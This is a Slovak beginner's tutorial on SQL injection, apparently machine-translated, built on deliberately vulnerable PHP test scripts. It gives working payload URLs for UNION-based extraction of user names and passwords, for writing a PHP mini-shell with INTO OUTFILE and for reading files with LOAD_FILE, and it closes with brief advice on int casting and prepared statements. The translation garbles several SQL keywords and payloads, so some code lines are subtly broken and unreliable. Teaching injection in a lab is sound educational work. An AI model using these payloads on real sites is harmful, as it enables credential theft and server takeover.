Ako ste už pochopili, injekcia pochádza z prichádzajúcich údajov, ktoré nie sú filtrované. Najčastejšou chybou je nefiltrovanie prenášaného ID. Zhruba povedané, vložte úvodzovky do všetkých polí. Či už je to žiadosť GET/POST alebo dokonca súbor cookie!

Numerický vstupný parameter
Na precvičenie potrebujeme scenár index1.php. Ako som povedal vyššie, do ID správ vkladáme úvodzovky.

Pretože Naša požiadavka nemá žiadne filtrovanie:

$id = $_GET["id"]; $dotaz = "SELECT * Z noviniek WHERE id=$id";

Scenár to pochopí ako

SELECT * FROM news WHERE id=1"

A vypíše nám to chybu:
Upozornenie: mysql_fetch_array() očakáva, že parameter 1 bude zdrojom, boolovský daný v C:\WebServ\domains\sqlinj\index1.php v riadku 16

Ak sa chyba nezobrazí, môžu to byť nasledujúce dôvody:

1. SQL injection tu nie je – úvodzovky sú filtrované, alebo sa na to jednoducho oplatí previesť (int)
2. Chybový výstup je vypnutý.

Ak sa vám stále zobrazuje chyba - Hurá! Našli sme prvý typ SQL injection – Numerický vstupný parameter.

Vstupný parameter reťazca

Žiadosti budeme posielať na index2.php. V tomto súbore vyzerá žiadosť takto:
$user = $_GET["používateľ"]; $query = "VYBERTE * Z noviniek WHERE user="$user"";

Tu vyberáme novinky podľa používateľského mena a opäť nefiltrujeme.
Opäť posielame žiadosť s cenovou ponukou:

Vyskytla sa chyba. OK! To znamená, že existuje zraniteľnosť. Na začiatok nám to stačí – poďme cvičiť.

Poďme konať

Trochu teórie

Pravdepodobne sa nemôžete dočkať, kedy z toho dostanete niečo iné ako chyby. Najprv pochopte, že znak " -- “ sa v SQL považuje za komentár.

POZOR! Pred a za ním musia byť medzery. V URL sú prenášané ako %20

Všetko, čo nasleduje po komentári, sa zahodí. To znamená, že žiadosť:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Podarí sa to. Môžete to vyskúšať na skripte index2.php odoslaním požiadavky, ako je táto:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučte sa parameter UNION. V jazyku SQL kľúčové slovo UNION používa sa na spojenie výsledkov dvoch SQL dotazov do jednej tabuľky. To znamená, aby sme z iného stola vytiahli niečo, čo potrebujeme.

Využime to

Ak je parameter „Číselný“, nemusíme v dopyte posielať cenovú ponuku a na koniec samozrejme uvádzame komentár. Vráťme sa k scenáru index1.php.

Obráťme sa na skript sqlinj/index1.php?id=1 UNION SELECT 1 . Náš databázový dotaz vyzerá takto:
SELECT * FROM news WHERE id=1 UNION SELECT 1
A dal nám chybu, pretože... na prácu so zlučovacími dopytmi potrebujeme rovnaký počet polí.

Pretože Ich počet nemôžeme ovplyvniť v prvej požiadavke, potom musíme ich počet vybrať v druhej tak, aby sa rovnal prvej.

Výber počtu polí

Výber polí je veľmi jednoduchý, stačí poslať nasledujúce požiadavky:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Chyba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opäť chyba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Žiadna chyba! To znamená, že počet stĺpcov je 5.

GROUP BY
Často sa stáva, že polí môže byť 20 alebo 40 alebo dokonca 60. Aby sme ich nemuseli zakaždým triediť, používame GROUP BY

Ak žiadosť
sqlinj/index1.php?id=1 GROUP BY 2
nezobrazilo žiadne chyby, čo znamená, že počet polí je väčší ako 2. Skúsme:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vidíme chybu, to znamená, že počet polí je menší ako 8.

Ak pri GROUP BY 4 nie je chyba a pri GROUP BY 6 je chyba, potom je počet polí 5

Definovanie výstupných stĺpcov
Aby sa nám od prvej požiadavky nič nezobrazilo, stačí nahradiť neexistujúce ID, napríklad:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Touto akciou sme určili, ktoré stĺpce sa zobrazia na stránke. Teraz, aby ste tieto čísla nahradili potrebnými informáciami, musíte pokračovať v žiadosti.

Dátový výstup

Povedzme, že vieme, že tabuľka stále existuje používateľov v ktorých polia existujú id, názov A prejsť.
Potrebujeme získať informácie o používateľovi s ID=1

Preto zostavme nasledujúci dotaz:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Skript tiež pokračuje vo výstupe

Za týmto účelom nahradíme názvy polí namiesto čísel 1 a 3

Sqlinj/index1.php?id=-1 názov UNION SELECT,2,pass,4,5 FROM users WHERE id=1
Dostali sme, čo sme potrebovali!

Pre "vstupný parameter reťazca" ako v skripte index2.php na začiatok treba pridať úvodzovky a na koniec komentár. Príklad:
sqlinj/index2.php?user=-1" názov UNION SELECT,2,pass,4,5 FROM users WHERE id=1 --%20

Čítanie/zápis súborov

Ak chcete čítať a zapisovať súbory, používateľ databázy musí mať práva FILE_PRIV.
Nahrávanie súborov
V skutočnosti je všetko veľmi jednoduché. Na zápis súboru použijeme funkciu OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 DO OUTFILE "1.php" --%20
Skvelé, súbor bol u nás zaregistrovaný. Takto môžeme naplniť mini-škrupinu:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DO OUTFILE "1.php" --%20
Čítanie súborov
Čítanie súborov je ešte jednoduchšie ako písanie. Funkciu stačí jednoducho použiť LOAD_FILE, pre miesto poľa, ktoré vyberieme:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Takto sme si prečítali predchádzajúci zapísaný súbor.

Spôsoby ochrany

Chrániť sa je ešte jednoduchšie ako využiť zraniteľnosť. Stačí filtrovať údaje. Ak odovzdávate čísla, použite
$id = (int) $_GET["id"];
Ako navrhol používateľ malroc. Chráňte sa pomocou CHOP alebo pripravených výpisov.

Namiesto dokončenia

Tu chcem dokončiť svoju prvú časť o „injekcii SQL pre začiatočníkov“. V druhej časti sa pozrieme na závažnejšie príklady injekcií. Skúste písať zraniteľné skripty a vykonávať dotazy sami.
A pamätajte, neverte žiadnemu používateľovi vašej stránky.